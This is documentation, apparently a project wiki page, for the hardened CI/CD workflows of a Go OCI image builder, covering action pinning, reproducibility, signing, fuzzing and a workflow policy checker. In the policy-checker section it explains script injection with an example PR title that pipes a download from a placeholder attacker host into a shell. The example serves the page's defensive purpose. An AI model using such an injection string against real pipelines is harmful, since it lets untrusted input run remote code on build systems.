Testing and CI CD

Testing and CI/CD

Twelve GitHub Actions workflows under .github/workflows/, all sharing the same baseline hardening: fixed runs-on: ubuntu-24.04 (never -latest), an explicit timeout-minutes on every job, permissions: {contents: read} unless a step genuinely needs more (e.g. packages: write to publish), every uses: action SHA-pinned (with a narrow, explicit allowlist of tag-referenced bootstrap actions), and set -euo pipefail at the top of every shell step. These rules aren't just convention - they're mechanically enforced by scripts/ci/verify-workflows.py against every workflow file on every run (see below).

Twelve workflows for one Go binary is not an accident - trust is meant to be demonstrated here, not requested.

The three evidence-oriented additions are:

• Benchmark (ci-benchmark.yml): five measurements at three payload sizes, published as raw text, JSON, Markdown, and environment identity in the benchmark-results artifact.
• OCI compatibility (ci-compatibility.yml): imports the same generated layout through Skopeo, Docker, and containerd and publishes versioned inspection evidence.
• GHCR/Cosign/admission E2E (ci-supply-chain-e2e.yml): publishes a commit image, signs its immutable digest with GitHub OIDC, installs Sigstore policy-controller in Kind, proves signed admission and unsigned rejection, and uploads the complete evidence bundle.

See Benchmarks, OCI Compatibility, and GHCR / Cosign / Kubernetes E2E.

Run everything locally first

go test ./...
go test -race ./...
go test ./... -coverprofile=coverage.out
go tool cover -func=coverage.out
go vet ./...
python3 scripts/ci/verify-workflows.py

The workflows

Quality (ci-quality.yml)

Triggers: push, pull request, weekly (Monday 03:13 UTC).

A matrix job over amd64/arm64. Every leg: records the Go toolchain identity (go version, go env, and asserts GOTOOLCHAIN=local - i.e. CI never silently downloads a different Go version than the one it just installed), then cross-compiles cmd/oci-builder for that architecture and runs scripts/ci/verify-elf.sh against the result. The amd64 leg additionally runs: gofmt -l (must be empty), go vet ./..., go test ./..., the three explicit named regression-test filters (CLI, OCI, mTLS - see below), go test -race ./..., a coverage run gated at ≥85% statements, a self-build-and-self-verify pass (build oci-builder, run it against itself to produce a layout, verify that layout), and a second self-build-and-verify pass with a fixed -created timestamp that also runs the hostile-layout negative-case suite. Coverage files are uploaded as the regression-suite-evidence artifact.

This workflow used to be three separate files (ci-go-quality.yml, ci-test.yml, ci-regression-suite.yml) with real duplicated steps (go test ./... ran three times across them); they were merged into this one file, keeping every distinct check and removing the exact duplicates.

OCI validation (ci-oci-validation.yml)

Triggers: push, pull request.

Runs scripts/ci/build-verified-layout.sh (build the CLI, build a layout, verify it) against cmd/example-service, then independently hashes every blob and records a full filesystem listing (mode/size/path) of the generated layout. Separately runs scripts/ci/negative-oci-layout.py to prove the verifier rejects seven categories of hostile mutation. Uploads oci-validation-evidence (validation output, blob checksums, filesystem listing) - if-no-files-found: error, so a missing artifact fails the job rather than silently producing an empty evidence bundle.

Security analysis (ci-security.yml)

Triggers: push, pull request, weekly (Monday 03:17 UTC).

Two jobs:

• static-analysis (every trigger): runs scripts/ci/verify-workflows.py, go vet ./..., pinned govulncheck@v1.1.4, go test -race ./..., and a repo-wide grep that fails the build if any .go file contains os/exec, exec.Command, or InsecureSkipVerify - this project's code should never shell out or disable TLS verification, and this check makes "never" mechanically enforced instead of just a stated intent.
• pr-policy (pull requests only, guarded by if: github.event_name == 'pull_request'): checks out with fetch-depth: 0 (needed to diff against the PR base SHA), then runs scripts/ci/verify-workflows.py again, rejects any of coverage.out, coverage.txt, oci-image, oci-builder, or service if they were accidentally committed, rejects any TODO/FIXME/placeholder marker outside README.md, and runs git diff --check (rejects trailing whitespace / conflict markers) against the PR's base commit.

This was two separate files (ci-security.yml + ci-pull-request.yml) before being merged; both independently call verify-workflows.py because the two jobs have genuinely different checkout depths and purposes and gain more from running in parallel than they'd save by deduplicating one cheap Python invocation.

Reproducibility (ci-reproducibility.yml)

Triggers: push, pull request, weekly (Monday 04:23 UTC).

Three jobs: rebuild-a and rebuild-b each independently build the executable and layout from scratch in an isolated temp directory (with SOURCE_DATE_EPOCH=0), tar the result deterministically, and hash it; compare (which needs: [rebuild-a, rebuild-b]) downloads both artifacts and runs cmp on the tarballs and checksums - a real byte-for-byte comparison across two genuinely separate CI jobs/runners, not just "build once and trust it." See Architecture and OCI Layout for what "reproducible" precisely means here.

Runtime integration (ci-runtime.yml)

Triggers: push, pull request.

Generates a small static Go HTTP API inline (/healthz → PONG, / → HELLO WORLD), builds its layout, verifies the layout, then builds and runs it through the repository's own Dockerfile under docker run with the full hardening flag set (--read-only --cap-drop=ALL --security-opt no-new-privileges --tmpfs /tmp:...), polling /healthz until it responds and asserting the exact expected bodies. Separately (offline, no real cluster) validates a Kubernetes restricted-runtime Deployment manifest against the exact contract this project documents: automountServiceAccountToken: false, seccompProfile.type: RuntimeDefault, runAsNonRoot/runAsUser: 65532, allowPrivilegeEscalation: false, readOnlyRootFilesystem: true, capabilities.drop: [ALL], and explicit resource requests/limits.

MicroVM boot (ci-microvm.yml)

Triggers: push, pull request.

The workflow has separate Linux/KVM and macOS/HVF evidence paths. The Linux path confirms /dev/kvm exists and the host CPU exposes vmx/svm, installs the kernel build toolchain, restores/builds (and caches, keyed on the kernel version + config fragment hashes) a from-source Linux kernel, builds cmd/example-service into a real OCI layout, then boots it under scripts/microvm/run-microvm.sh with MICROVM_SMOKE_TEST_PATH=/healthz set.

The macOS job always runs and always restores both the Go cache and the pre-built ARM64 guest from GitHub Actions cache; a missing guest cache fails the job. It compiles the Darwin CGO implementation, links Virtualization.framework, signs the test binary with the virtualization entitlement and attempts TestRunLinuxWithRealHVF and TestDarwinVMMWithRealHVF.

There are two distinct macOS proof levels:

• Contract evidence (continuous): every hosted run must pass all Darwin validation, ownership, cleanup, linkage and lifecycle contract tests. If Virtualization.framework reports exactly that virtualization is unavailable on the nested runner, the script excludes only the two hardware tests and runs the remaining suite. A green job in this mode is not proof of a guest boot.
• Hardware evidence: on Apple Silicon that exposes HVF, both real tests must boot the cached kernel/initramfs and pass without the unavailable-HVF fallback. scripts/microvm/test-hvf-local.sh is fail-closed by default; only CI explicitly sets SECURE_OCI_ALLOW_UNAVAILABLE_HVF=1. Release claims about an actual HVF boot require the unskipped result from local or self-hosted Apple Silicon, not merely a green hosted job.

See MicroVM Support for the full architecture.

CodeQL analysis (ci-codeql.yml)

Triggers: push, pull request, weekly (Monday 03:29 UTC).

GitHub's maintained CodeQL bundle, build-mode: manual (CI runs go build ./... itself, rather than letting CodeQL try to autodetect the build), results uploaded to the repository's Security tab. github/codeql-action/* is one of the few actions permitted to use a version tag instead of a pinned SHA (see the allowlist below) - the policy verifier treats it as a documented exception because GitHub's own hosted runners are expected to reliably resolve a matching, trusted bundle for it.

Fuzz validation (ci-fuzz.yml)

Triggers: push to main, pull request, weekly (Saturday 04:41 UTC).

Runs Go's native fuzzing (go test -fuzz=... -fuzztime=60s) against two specific boundaries: FuzzLabelsFromPairs and FuzzEntrypointValidation - the two places in internal/oci that parse untrusted-shaped string input (label pairs, entrypoint paths).

Release evidence (ci-release.yml)

Triggers: a semantic-version tag push (vMAJOR.MINOR.PATCH).

Four sequential jobs, each depending on the last via needs:, each with its own scoped permissions:

flowchart LR
    tag(["git tag vX.Y.Z"]) --> validate["validate<br/>contents: read"]
    validate --> publish["publish<br/>packages: write"]
    publish --> sign["sign<br/>id-token: write"]
    sign --> release["release<br/>contents: write"]
    release --> gh(["GitHub Release"])

Loading

1. validate (contents: read) - builds and independently verifies a release layout, hashes everything, tars it into verified-layout.tar.
2. publish (environment: release, packages: write) - downloads that exact validated tarball (not a fresh rebuild), unpacks and re-verifies it, then uses an attestation-capable BuildKit builder to docker buildx build --provenance=mode=max --sbom=true --push to ghcr.io/<owner>/<repo>:<tag>. It records the published digest, then independently fetches docker buildx imagetools inspect --raw on that digest and runs scripts/ci/verify-attestation-index.py against it - proving the published index actually carries a BuildKit attestation-manifest entry, not just that the push command succeeded. It then pulls the image back down by digest and saves it as a Docker-loadable tarball.
3. sign (environment: release, packages: write, id-token: write) - installs Cosign and signs the immutable published digest, then immediately verifies that signature against the expected OIDC issuer (https://token.actions.githubusercontent.com) and a certificate identity regex scoped to this exact workflow file - not just "a signature exists," but "a signature from this workflow exists."
4. release (environment: release, contents: write) - packages a secure-oci-base-reports.zip evidence bundle and creates an immutable GitHub release (gh release create --verify-tag) with the image tarball and evidence attached.

Every job in this workflow uses environment: release - a GitHub Environment, which is where protection rules (required reviewers, wait timers, branch restrictions) would be configured on the repository side. The workflow file enforces the pipeline shape; the environment is where you'd enforce who can trigger a real publish.

The workflow policy checker

scripts/ci/verify-workflows.py is itself part of CI (run by ci-security.yml's static-analysis job, and by pr-policy) and treats every file under .github/workflows/*.y*ml as data to validate, not trust. It parses each file with Ruby's YAML library (invoked as a subprocess) rather than a Python YAML library, specifically to avoid depending on PyYAML being present, and rejects:

• any job without runs-on: ubuntu-24.04
• any job without an integer timeout-minutes
• any uses: action that isn't SHA-pinned (owner/repo@<40-hex-sha>) and isn't in a small explicit allowlist of tag-referenced "bootstrap" actions: actions/setup-go@v5, docker/setup-buildx-action@v3, github/codeql-action/{init,analyze,autobuild}@v4, and sigstore/cosign-installer@v3
• any uses: value starting with ./ or docker://
• pull_request_target or workflow_run triggers (privileged trigger types that run with write-level secrets against untrusted PR code)
• any shell run: step whose script doesn't contain the literal string set -euo pipefail
• interpolating github.event.pull_request.title, .body, or .head.ref directly into a shell command (classic script-injection vector - a PR title like $(curl evil.example | sh) becomes literal shell if interpolated unescaped)
• any step whose run: script actually invokes the Go toolchain (go build/test/vet/run/install/env, as the command being run - not matched inside a quoted string, e.g. a documentation/report value) without GOTOOLCHAIN=local set in that step's or its job's env: - see Next-Generation-Architecture#the-three-way-boundary for why this matters: it's what stops CI from silently reaching for a network Go toolchain when go.mod outpaces the pinned actions/setup-go version

If you add or modify a workflow, run this locally before pushing:

python3 scripts/ci/verify-workflows.py

It requires ruby on PATH (used only as a YAML parser, not for anything else).

GHCR deployment

Pull the published image with any OCI-capable client, or configure your runtime to reference it by digest:

ghcr.io/<owner>/<repository>@sha256:<digest>

Always pull by digest, not by tag - the tag is a mutable pointer the release workflow sets once; the digest is what was actually signed and verified.

Artifact deployment (without pulling from a registry)

1. Open the GitHub release created for the semantic-version tag; download secure-oci-base-image.tar and secure-oci-base-reports.zip.
2. Verify the checksum, then load the image: sha256sum --check image-tar.sha256 && docker load --input secure-oci-base-image.tar.
3. Extract the evidence bundle: unzip secure-oci-base-reports.zip -d release-reports.
4. Inspect release-reports/publication-link.txt, signature-verification.json, image.digest, and verified-layout.tar to independently link the validated layout to the signed, published image digest yourself, rather than trusting the release notes alone.

Whichever deployment path you use, apply the runtime hardening flags from Security Model - none of this pipeline's evidence substitutes for them.